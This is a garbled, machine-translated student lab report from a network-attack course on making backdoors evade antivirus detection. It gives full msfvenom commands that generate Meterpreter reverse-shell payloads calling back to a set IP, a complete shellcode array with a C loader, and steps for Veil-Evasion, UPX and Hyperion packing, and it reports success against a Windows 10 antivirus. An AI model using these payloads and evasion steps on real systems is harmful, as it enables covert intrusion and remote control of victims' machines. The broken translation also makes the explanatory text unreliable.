2019-2020-2「ネットワーク戦技術」EXP3自由の原則と実践を殺すために
A.サポート技術情報の概要
コンセプトを殺すために無料
- 一般的に、悪意のあるソフトウェアに対処することは、ウイルス対策ソフトウェアによって検出されないようにするに行わ。
基本的な質問には答え
どのソフトが検出された悪意のあるコードを殺すために?
- シグネチャベースの検出
署名のためにデータの1つのまたは複数であり、多くの悪質なコードの分析の後、我々は、一つ以上のクラスコードに悪意のあるコードの断片しばしばであるがない他の通常の手順は、その署名を発見しました。あなたは悪質なコードと見なされた署名を含む単一の実行可能ファイルにソフト検出器を殺す場合。- ヒューリスティックのマルウェアの検出には、
いくつかの一方的な特徴を推論することです。通常ので、正確な決意を基準の欠如。(不正確)- 挙動ベースのマルウェアの検出は、
ヒューリスティック、行動監視に追加されます。悪意のあるコードの観察を通じて、我々はいくつかの行動ではなく、共通の悪意のあるコードの特別な行動、我々はこれらの特別な行動はマルウェアとみなされます発見した場合、プログラムを監視する実行キルソフトがあることがわかりました。(不正確)
何をすべきかを殺すために無料?
- 一般的には、アンチウイルスソフトウェアによって検出されないようにしましょう、悪意のあるソフトウェアに対処するために行わ
何を殺す避けるために、基本的な方法?
- 異なる署名
のみEXE-シェル(シェル圧縮暗号シェル)を
エンコードしてエンコードされた- (Meterpreterなど)シェルコード持つ
アクティブコード-リライト再コンパイル他の言語を- 行動変化の
通信
反発接続を利用する:Meterpreter自体は主に連結リバウンド
などのトンネル技術:dns2tcpを、ヨウ素がDNSプロトコルパケットブロッキング流れることができる
通信データを暗号化する:としては、逆HTTPSフォワード使用
動作モードを
メモリ動作に基づきます。 meterpreterは、メモリ操作の操作に基づいている
システムの変形を低減するために
、正常な機能コード交絡に追加されます
オープンソフトキルは絶対に悪質なコンピュータコードを防ぐことができますか?
- することはできません。彼らの行動を隠すために、悪意のあるコード、絶対的なコンピュータの一部
II。実験手順
1.正しいエンコーダMSF
MSFは、第二の実験でバックドアを使用して生成され、我々はスキャンvirtotalにサイトを使用することができます
-eは、エンコーダとスキャンで符号化。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.10.128 LPORT=5305 -f exe > met-encoded.exe
次のようにVirusTotalウェブサイトのスキャン結果は以下のとおりです。
-i符号化と10回スキャンしました。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.10.128 LPORT=5305 -f exe > met-encoded10.exe
次のようにVirusTotalウェブサイトのスキャン結果は以下のとおりです。
結論:複数のエンコーディングが自由を殺す役割を再生することはできません
2.msfvenomな瓶など他のタイプのファイルを生成
2.1生成jarファイル
- コマンドを使用します。
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=5305 jar> 20175305_java_backdoor.jar
- 次のようにスキャンの結果は以下のとおりです。
2.2生成のPHPファイル
- コマンドを使用します。
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=5305 x> 20175305_php_backdoor.php
- 次のようにスキャンの結果は以下のとおりです。
3.veil
apt-get install veil-evasion
ベールをインストールするコマンド- ベールを開いた後、インストールが完了するまで継続する入力Y:
成功するには、次のインターフェイスを表示されます。
リストには、すべての利用可能なペイロードビューに
使用してペイロードを選択し、使用[payload_number]を
セットし、[オプション] [パラメータ] [オプションの変更]
生成を開始するファイルを生成
という名前のファイルにプロセスを:
- 以下によるVirustotal検出結果:
4.プログラミングC +のシェルコード
- まず、次のコマンドを使用します。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=5305 -f c
いくつかのシェルコードのC言語を生成します。
ファイルを作成し、unsigned char buf[]
以下のようにコードがあるに割り当てられています:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xe6\x80"
"\x68\x02\x00\x14\xc6\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- コマンドを使用します。
i686-w64-mingw32-g++ 20175305-backdoor.c -o 20175305-backdoor.exe
実行可能ファイルにコンパイル
以下によるVirustotal検出結果:
5.パッカーツール
5.1圧縮UPXシェル
UPX 20175305_veil_backdoor.exe -o 20175305_veil_backdoor_upx.exeを使用してだけで生成された暗号化プログラムに指示
virustotalによる検出結果を以下のように:
5.2。ハイペリオン暗号化シェルは
を/ usr / share /窓-バイナリへ上の文書のコピーを生成します /ハイペリオン、 およびディレクトリ入力し
、入力されたコマンドのワインhyperion.exe -v upxed_20175305.exe upxed_20175305_hyperion.exeを
生成した文書スキャンするため
virustotalでの以下のように検出結果は以下のとおりです。
6.他のコースではカバーされていません
ベール-回避バックドアの方法を使用して生成された他の負荷
可能なペイロードを表示するには、リストを使用して、回避に:
- 負荷32の選択、PythonはDESの中でシェルコードである
一種の下で暗号化。 - 入力し
option
、次のように、オプションのペイロードを参照してください。
私たちは、基本的な設定を行います。
- IPとポート番号の組がリバウンド、及びで生成されたファイル名の形式を設定するために
msfconsole
コマンドの入力、可用性テスト
virustotal検出結果を用いて、以下のように:
無料を殺すために組み合わせて、様々な技術によって実装2.悪意のあるコード
どこ無料パッカーやC +シェルコードの仕方によって達成殺すために、回避モジュールを殺す避けるために使用する学生を参照。
3.測定で正常に接続された他のコンピュータへのソフトのキル、実行バックの場合は、お使いのコンピュータのソフト名とバージョンを殺すために示されています
PC版:Windowsの10、Cのシェルコード+とパッカーによって実現は殺す避けるために、
ウイルス対策ソフトウェアを:火口を
III。実験と経験の概要
実験は感じ、より多くの困難な実験を行って、学生のブログや情報を参照し、実験的なバックドアが殺害を逃れる方法を勉強ソフトキル殺害、ウェブサイト、各種の情報を理解している、の多くを尋ね誰が最終的には達成感に満ち、出てくるが、何本実験の実用性に関するいくつかの疑問は、我々は最初のウイルス対策ウイルスに事を殺す避けるために隠された方法を知っているべきであるということですでした。